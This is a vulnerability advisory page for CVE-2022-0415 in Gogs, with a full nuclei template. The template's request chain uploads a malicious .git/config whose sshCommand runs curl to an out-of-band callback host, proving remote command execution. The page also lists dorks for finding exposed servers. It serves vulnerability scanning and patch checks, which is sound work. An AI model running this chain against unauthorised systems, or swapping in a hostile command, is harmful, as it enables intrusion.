Gogs <0.12.6 - Remote Command Execution

highseverity

8.8CVSS score

65.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Fixed in version 0.12.6.

How to confirm it

Send: GET /user/login ; POST /user/login ; GET /repo/create ; POST /repo/create ; POST /{{username}}/{{randstr}}/upload-file
Positive when: contains in interactsh_protocol "dns" or "http" AND contains in body_1 "content=\"Gogs"

Run it with nuclei: nuclei -id CVE-2022-0415 -u <target>

The full check

id: CVE-2022-0415

info:
  name: Gogs <0.12.6 - Remote Command Execution
  author: theamanrawat
  severity: high
  description: |
    Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: Fixed in version 0.12.6.
  reference:
    - https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
    - https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0415
    - https://github.com/bfengj/CTF
    - https://github.com/cokeBeer/go-cves
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0415
    cwe-id: CWE-434,CWE-20
    epss-score: 0.65935
    epss-percentile: 0.99279
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2022,rce,gogs,authenticated,huntr,intrusive,vuln

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on
      - |
        POST /{{username}}/{{randstr}}/upload-file HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Csrf-Token: {{auth_csrf}}
        Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395

        -----------------------------313811965223810628771946318395
        Content-Disposition: form-data; name="file"; filename="config"
        Content-Type: application/octet-stream

        [core]
            repositoryformatversion = 0
            filemode = true
            bare = false
            logallrefupdates = true
            ignorecase = true
            precomposeunicode = true
            sshCommand = curl http://{{interactsh-url}} -I
        [remote "origin"]
            url = [email protected]:torvalds/linux.git
            fetch = +refs/heads/*:refs/remotes/origin/*
        [branch "master"]
            remote = origin
            merge = refs/heads/master
        -----------------------------313811965223810628771946318395--
      - |
        POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
          - http

      - type: word
        part: body_1
        words:
          - content="Gogs

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true

      - type: regex
        name: uuid
        group: 1
        regex:
          - ' "uuid": "(.*)"'
        internal: true

References

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